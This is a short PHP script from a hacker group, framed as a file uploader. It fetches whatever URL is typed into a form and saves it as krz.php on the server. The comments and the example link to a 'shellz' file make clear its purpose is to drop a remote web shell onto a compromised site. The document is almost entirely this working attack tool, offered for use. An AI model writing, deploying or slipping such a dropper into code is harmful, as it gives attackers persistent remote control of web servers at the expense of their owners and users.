Upload File Using file_get_contents

<?
# Coded By Dr.KroOoZ
# b0x[at]hotmail[dot]com
# Greets : b0x - fox hacker - sec4ever
# Homepage : www.sec4ever.com

echo '<title>Upload Files </title><form method="POST">';
echo '<center><b><font face="Tahoma" size="6">[#] Upload File !</font></b><br><br><br>';
echo '<p align="center"><input type="text" name="file">
<input type="submit" value="Get File"></p>';
$krz = $_POST['file'];
$file = file_get_contents($krz);
$b = fopen('krz.php', 'w'); // Change krz.php To Name Shell U Want :D
fwrite($b,$file);
fclose($b);
if($krz) {
echo '<br><p align="center"><font face="Tahoma" size="2" color="#808080">Done !</font></p>
<p align="center"><font color="#505B67" face="Tahoma" size="2">Open krz.php</font></p><br>'; }
else {
echo '<br><p align="center"><font face="Tahoma" size="2" color="#CC0000">Error</font><font face="Tahoma" size="2" color="#808080">
;(</font></p>
<p align="center"><font face="Tahoma" size="2" color="#808080">But Check File
Maybe Downloaded .. </font></p><br>'; }
echo '</form>';
echo '<p align="center" dir="ltr"><font face="Tahoma" style="font-size: 9pt">#&nbsp;
Ex : <font color="#454545">http://piratlar.com/shellz/ly0kha.txt</font></font></p>
<p align="center" dir="ltr"><font face="Tahoma" style="font-size: 9pt"># Coded
By<font color="#C0C0C0"> </font><font color="#808080">Dr.KroOoZ</font> |
<font color="#808080">b0x@hotmail.com</font></font></p>
<p align="center" dir="ltr"><font face="Tahoma" style="font-size: 9pt"># Note : i
Used <font color="#990000">file_get_contents</font> Function </font></p>';
?>